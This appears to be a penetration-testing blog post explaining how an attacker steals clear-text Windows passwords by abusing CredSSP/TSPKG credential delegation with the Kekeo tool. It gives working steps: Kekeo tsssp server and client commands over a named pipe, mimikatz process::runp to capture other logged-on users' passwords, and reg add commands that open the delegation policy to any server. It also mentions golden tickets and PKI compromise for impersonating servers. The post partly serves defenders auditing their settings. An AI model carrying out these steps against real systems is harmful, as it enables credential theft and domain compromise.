Credential theft without admin or touching LSASS with Kekeo by abusing CredSSP / TSPKG (RDP SSO) feature image

If you have compromised a Windows host, and cannot or do not want to, dump clear-text passwords using traditional techniques (e.g. mimikatz’s sekurlsa::logonpasswords, or LSASS dumping), you should check out the credential delegations settings. If enabled, it allows to obtain clear-text passwords without touching the LSASS process or even without having administrator rights (limited to the current user’s password then)!

You have to use @gentilkiwi’s “kekeo” tool and its tsssp module! “mimikatz” is not even required here!

This article also allows defenders and systems owners to review the settings in their environments, and evaluate if they are at risk of credential theft using this technique.

You can skip the technical explanations and go directly to the exploitation steps.

Technical background 🔗

RDP (Remote Desktop / Terminal Server) is compatible with SSO. If you use a Windows device joined to a domain, then you can connect remotely to a server using RDP with your current AD user account without having to re-type your password. But, you should know that opening an RDP session translates to an interactive session opening on the server-side. It is important since it means that your password is sent to the server, protected in transit of course, but still, the password is finally obtained in clear by the remote server.

Do you see where we are going here? Take the time to guess what could go wrong… 🤔

➡️ If you guessed that we could implement a malicious server and obtain the password: you are right!

In the background, this RDP SSO features relies on the “CredSSP / TSSSP / TSPKG” components that allow “Credential Delegation”. For purists: note that these acronyms are not on the same level, “SSP” = Security Support Provider, “TSSSP” = “Terminal Services SSP”, and “TSPKG” is the Authentication Provider (it is implemented in mimikatz’s sekurlsa::logonpasswords and more precisely sekurlsa::tspkg).

Benjamin @gentilkiwi Delpy reminded us in a 2016 tweet that credential delegation activation leads to presence of passwords in memory, even in Windows 10! Some settings are required for this to work, and by default none are configured which means that they are not enabled and this feature does not work…

Hint 😉 : in your environment, if you always type your password when connecting with RDP, even with your own current account: then it means that these settings are probably not enabled… But it can be more complicated than that, for instance other services than RDP (e.g. PowerShell remoting, Microsoft Virtual Console Service, remote Visual Studio debug, etc.) can use this and be enabled instead, so read the rest anyway!

Note also that, for RDP, this works only with servers where NLA is enabled. NLA is Network-Level Authentication and it allows to authenticate before opening the graphical session. If you type credentials in a box on your client, then NLA is used. If your RDP client opens a graphical session, and you type your password on the remote server, then NLA is not used.

Relevant settings 🔗

As I said, some settings are required for this to work, what are they?

We can find them in a Group Policy (GPO) editor under “Computer Configuration\Administrative Templates\System\Credentials Delegation”

Some of them are “Allow” settings while others are “Deny”. To be active, they must be enabled, then one or more authorized servers must be defined. For example:

We see similar options for different types:

  • Default credentials
  • Fresh credentials
  • Saved credentials

“Default credentials” are what interest us here since they are the current credentials for the authenticated user. Whereas, if I understood correctly “fresh credentials” are for example the one you type when connecting to the remote server with RDP, and “saved credentials” are credentials you saved in your Windows vault (see mimikatz vault::... commands).

Many tutorials, and even Microsoft tools apparently, change these settings. The authorized servers fields allows “*” wildcards and it is common to see “TERMSRV/*” or “TERMSRV/*.domain.example.com” (“TERMSRV” means RDP), or the same with “HOST/*” prefix, or even just plain “*”! Actually, the UI mentions “servers” but since the SPN notation is used, it should be more appropriate to speak of “authorized services” as not all services hosted by a server are authorized. And SPNs can be linked to service accounts, and not necessary to computer accounts only.

The settings in this GPO folder translate to registry values in HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CredentialsDelegation. “Allow delegating default credentials” is mapped to “AllowDefaultCredentials” and “Allow delegating default credentials with NTLM-only server authentication” is mapped to “AllowDefCredentialsWhenNTLMOnly”.

Here is how the registry looks for the GPO settings set above:

Obviously both the fact that the settings are enabled, and the authorized server, are stored.

Have you noticed the “Concatenate OS defaults with input above” checkbox (checked by default)? It is mapped to registry keys too, but what are those “OS defaults”?

They are stored in “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults” but they do not seem to have GPO equivalents. They seem to be empty / undefined on my devices, such as:

Perhaps it will change in future Windows versions? 🤔

Kekeo offers the tsssp::list command to nicely display the content of these registry keys:

And, when nothing is defined:

In conclusion, you should remember that these settings are mandatory for “credential delegation” to work and that none are enabled nor configured by default.

The settings are used at two different moments:

  1. At the logon on the client device, if credential delegation is enabled, then the password is stored by the TSPKG authentication provider
  2. When credential delegation is requested, for example when connecting to an RDP server, the policy is verified to check if the server is authorized to receive the credentials

The fact that these settings are used at the logon means that a logout-login cycle is required after enabling them (or a reboot, if you want to be extra certain).

As soon as credential delegation is enabled, your password will end up stored in memory. Which specific option is enabled, and with which authorized servers, will only change which technique to use and how hard it is to dump it.

Credential theft 🔗

You have certainly noticed that there are two similar settings:

  • “Allow delegating default credentials”: the GPO description states that “This policy setting applies when server authentication was achieved by using a trusted X509 certificate or Kerberos.”
  • “Allow delegating default credentials with NTLM-only server authentication”: the GPO description states that “This policy setting applies when server authentication was achieved via NTLM.”

If the first setting is enabled, refer to the first section below for “Kerberos server”. And if the second setting is enabled, refer to the second section below for “NTLM server”.

Kerberos server (“Allow delegating default credentials”) 🔗

You may have noticed that authorized servers are designated using the SPN notation: “SERVICE/host.fqdn” and this makes sense when using Kerberos. Actually, we should say “authorized services” instead of “authorized servers” as the SPN could allow only one service on an host.

The usual authentication flow is followed when using CredSSP/TSSSP with Kerberos. Therefore, the SPN specified with the “/target” argument of Kekeo must exist, so that the Ticket Granting Service can find it and deliver to us our Service Ticket. Kerberos allows the client to verify the identity of the server it is contacting. So, in addition of being valid, the “/target” argument must be valid for the server we are asking our Kekeo client to connect to. Moreover, common SPN such as “TERMSRV/…” or “HOST/…” are associated to computer accounts, not user accounts! Therefore, our Kekeo server must run as the target server identity. The easiest way is to launch it as “NT AUTHORITY\SYSTEM”.

The scenario here is that you have compromised an authorized server (through code execution as SYSTEM, or stolen computer account password, or stolen TGT for computer account, etc. See also below.) and you abuse it to obtain user passwords from other computers.

In the following example, our client computer is “client.lab.test” (on the left-hand side) and we use the “adcs.lab.test” remote server (on the right-hand side). It is an ADCS server (AD PKI server), but it is irrelevant here and it could be any domain-joined Windows computer. Both are AD joined, and “HOST/adcs.lab.test” is authorized in the credential delegation policy of the client computer. So we want to obtain the password for the current “user” user active on the “client” computer, thanks to the authorized “adcs” server that we compromised. We make sure to run the Kekeo server on “adcs” as SYSTEM using “psexec -s” (or one of the many other techniques).

We have the confirmation, on the server-side, that “Kerberos” is used on the “[Package]” line and we obtain on the Kekeo client-side, the credentials for the “user” user that the Kekeo client is running under, with its clear password

For those interested, here are the two Service Tickets obtained during the process by the “client” computer:

(If you are wondering why there is no “TERMSRV/adcs.lab.test” service ticket, which is strange since we mentioned RDP SSO, and why there is a “cifs/adcs.lab.test” service ticket instead, I try explain later how does Kekeo implement that?).

NTLM server (“Allow delegating default credentials with NTLM-only server authentication”) 🔗

NTLM is easier to exploit since the client computer cannot verify the identity of the server. Therefore, we do not have to spoof the identity of a legitimate authorized remote server, and it even works locally.

For this demo, I choose to enable everything (“allow delegating default credentials” and “allow delegating default credentials with NTLM-only server authentication”) for all servers (“*” for both):

I launch two Kekeo instances on the same computer. I launch first the server, on the right-hand side, with tsssp::server. Then I launch the client, on the left-hand side, with tsssp::client /target:A

We see that the credentials are obtained on the Kekeo server, including the clear-text password. The “[Package]” line confirms that “NTLM” is used.

For confirmation, let me show you that both Kekeo instances are launched under the “user” user who is not an admin:

It also works with a remote computer, as long as it is in the same domain. You just have to designate it with the “/pipe” argument, such as:

tsssp::client /target:B /pipe:\\192.168.42.1\pipe\kekeo_tsssp_endpoint

The “/target” parameter is required, and its value must fall in the list of authorized targets, but it does not have to be an existing computer 😉. With NTLM, the “/target” is checked by the policy on the client but the server does not care. So in this example, if the policy only allows “TERMSRV/toto”, I must specify it as “/target” but I can send it to any server (here 192.168.42.1 is not “toto”) and it works anyway:

In this additional demo, I enabled the LSASS protection, so you can see in the lower left-hand side window that even as “NT AUTHORITY\SYSTEM” and after enabling the SeDebug privilege (which is not actually required), I cannot dump credentials since mimikatz cannot get a handle on LSASS. However, using this technique, I can get the password of the “user” user under whose identity I am connected, even if it is not admin.

Note that my tests show that it does not work if only the “Allow delegating default credentials with NTLM-only server authentication” setting is enabled… The “Allow delegating default credentials” setting seems to be required too.

Troubleshooting 🔗

Before obtaining the perfect results presented above, I struggled and encountered several errors. I have identified them below, with their possible explanations based on my understanding (no guarantee of correctness).

The first issue you will notice is that sometimes it pauses for a few seconds in the middle of the operation: this seems normal and eventually it completes…

Named-pipe errors:

  • WaitNamedPipe (0x00000002) - “The system cannot find the file specified”
    Error in the hostname, or the named-pipe name, or the server is not listening (do not forget to re-run tsssp::server for every try!)
  • WaitNamedPipe (0x0000052e) - “Logon failure: unknown user name or bad password.”
    The server cannot authenticate the client. It can happen if the server is not in the same domain as the client, or cannot reach a KDC…

Credential delegation errors:

  • 0x8009035E - “Client policy does not allow credential delegation to target server.”
    The “/target” argument specifies a target which is not authorized by the credential delegation policy. Or the policy does not authorize any server…
  • 0x8009030e - “No credentials are available in the security package”
    Happens if the credential delegation policy is enabled for “NTLM-only servers” but not for normal servers. I do not know why…
    Seems to happen also if we did not logout-login after enabling credential delegation. It seems normal as the user passwords is not stored yet in memory.
  • 0x8009035f - “Client policy does not allow credential delegation to target server with NLTM only authentication”
    The message is explicit: we are trying to do credential delegation with NTLM but the policy does not allow it. It means that the “/target” is not present in “NTLM-only servers” policy. By default, the client will try to use Kerberos but it will fall back to NTLM in some cases. If the SPN specified with “/target” is not registered in the Active Directory (connect with LDAP, or whatever else, and verify). Beware that “TERMSRV/<server>” is not always a declared SPN! Contrary to “HOST/<server>” which seems to always be present and should be used instead if authorized in the policy.
    Take note also that Kerberos can only be used with remote servers, as it is disabled on localhost (or any variant of the name) by a loopback detector:

    So, if the Kekeo client and server are on the same computer, it will fall back to NTLM and trigger this error if NTLM is not allowed by the credential delegation policy.
    (Actually, this seems to work locally when the Kekeo server runs with the TGT of a different computer… To be investigated!)

  • 0x80090322 - “The target principal name is incorrect.”
    Either the “/target” is invalid (check in AD that it is a valid declared SPN), or the Kekeo server is not running under the identity of the server computer (i.e. not as SYSTEM, or the computer account impersonation did not work).

What if credential delegation is not enabled or if the policy is too restrictive? 🔗

Sometimes you really want credentials, but credential delegation is not enabled, or not as you wished… Then you can change the configuration! 💡 But in a pentest engagement you have to obtain permission first, and you should avoid as much as possible changing a client configuration, especially when it means reducing the security level like here… In any case, do not forget to revert the changes to their original value!

As local administrator you have the technical permissions to change the credential delegation policy in the registry.

  • If credential delegation is not enabled, you can enable it. It will allow you to obtain passwords for accounts who logged after the change.
  • If credential delegation is enabled, but the authorized servers list is too restrictive, you can change it anytime to add a simple wildcard for example. This change is effective immediately.

Here are some commands to enable credential delegation for all servers using either Kerberos or NTLM. Again, use with caution as it basically disables security…

reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d "*"

reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d "*"

These commands come from a tweet by Benjamin @gentilkiwi Delpy, who suggested this to obtain clear-text passwords. A suggested alternative for this is to re-enable WDigest, but it is more popular and thus has more chance of triggering an alarm.

And to reset everything by deleting all credential delegation settings:

reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f

How to dump credentials of other users? 🔗

In all the demos above, I obtained the password for the user I was running the Kekeo client under. You could argue that it is less powerful than mimikatz’s sekurlsa::logonpasswords which dumps credentials for all users with open sessions.

Take some time to think of a solution here…

➡️ The idea is to run the Kekeo client in the context of the session of each user you are interested in.

For this demo, I will run my Kekeo server locally, under the “user” user who is not admin. Let’s imagine I achieved command execution as SYSTEM and I see that the user “admin” has an open session. I list his processes first:

I will run a Kekeo server as a child process of his regedit proces (PID 3344). This way the Kekeo child process will run, not as SYSTEM, but as the “admin” user.

I choose to use mimikatz’s process::runp command, but there are several alternatives at your disposal.

The command is the following:

process::runp /pid:3344 /run:"kekeo.exe \"tsssp::client /target:A\" exit"

So what is your conclusion? Isn’t is as powerful? 💪

What if only specific servers are authorized? 🔗

As explained above you can change the policy if you are admin. Or if you are not, you can impersonate an authorized server. There are several ways: golden ticket, possessing the computer account password hash, having compromised the PKI (and thus being able to generate a certificate for the target server)…

Benjamin @gentilkiwi Delpy nicely shows this in his BlueHat demo.

How does Kekeo implement that? 🔗

I did not really looked in the details of how Kekeo implements this, but it is clear that it does not use the RDP protocol (TCP/3389)! It uses instead a remote named pipe between its client and its server components over SMB (TCP/445). Remember I said CredSSP/TSSSP is mainly used with RDP but I also said it is used by other protocols, so we can assume it also works over SMB!

The Kekeo magic stuff is open-source, so enjoy reading kuhl_m_tsssp.c

What about Windows Defender Credential Guard? 🔗

This feature which isolates LSASS in a protected VM (also called “LSAIso”) protects against this, according to a tweet by Benjamin @gentilkiwi Delpy, as it simply disables CredSSP. No RDP SSO for Credential Guard users then?

Acknowledgments 🔗

All the results, techniques, and tools presented above are inspired by the work of Benjamin Delpy - @gentilkiwi who shared it on many occasions, but most notably, at the BlueHat IL 2019 conference. You can download the slides or watch the video of his presentation titled “You (dis)liked mimikatz? Wait for kekeo”.

I just took the time to test it in a lab, digest it, see how it could apply in real situations, and translate it in my own words which make more sense to me.